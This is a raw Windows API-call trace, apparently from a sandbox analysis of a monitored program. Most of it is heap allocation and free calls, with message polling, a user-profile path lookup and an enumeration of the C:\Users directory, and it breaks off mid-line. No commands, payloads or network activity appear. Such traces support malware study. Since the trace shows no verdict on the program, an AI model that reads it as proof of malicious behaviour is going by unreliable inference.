RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0119.499] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.500] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.500] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.500] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.500] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.500] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.500] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.500] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.500] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.500] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.500] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.500] PathFindFileNameW (pszPath="") returned="" [0119.500] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.501] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.501] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.501] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.501] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022e98 | out: hHeap=0x5e0000) returned 1 [0119.501] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.501] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c68 | out: hHeap=0x5e0000) returned 1 [0119.501] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c68 [0119.501] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.501] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c68 | out: hHeap=0x5e0000) returned 1 [0119.501] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.501] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0119.501] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.501] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef8d8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef920 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef8d8 | out: hHeap=0x5e0000) returned 1 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.502] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2d8 | out: hHeap=0x5e0000) returned 1 [0119.502] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb310 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2d8 | out: hHeap=0x5e0000) returned 1 [0119.502] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb348 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2d8 | out: hHeap=0x5e0000) returned 1 [0119.502] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.502] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c68 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0119.502] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c68 | out: hHeap=0x5e0000) returned 1 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x498) returned 0x30942e0 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c68 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e98 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.502] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e70 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e48 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e20 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022df8 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022dd0 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022da8 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d80 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a10 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a60 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022bf0 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c18 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c40 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30230d8 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023100 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023128 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023150 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023178 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30231a0 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30231c8 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30231f0 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x3094798 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x30947d0 [0119.503] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x3094808 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022d08 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ce0 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022cb8 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c90 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a38 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a88 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ba0 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ec0 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ee8 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f48 | out: hHeap=0x5e0000) returned 1 [0119.503] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f70 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f98 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022fc0 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022fe8 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023010 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023038 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023060 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023088 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30230b0 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022d30 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022d58 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022bc8 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022998 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef920 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb310 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fc8 | out: hHeap=0x5e0000) returned 1 [0119.504] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb348 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2d8 | out: hHeap=0x5e0000) returned 1 [0119.504] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0119.504] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.504] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.504] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.504] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.504] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.505] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.505] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.506] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.506] HeapFree (in: hHeap=0x5e0000, 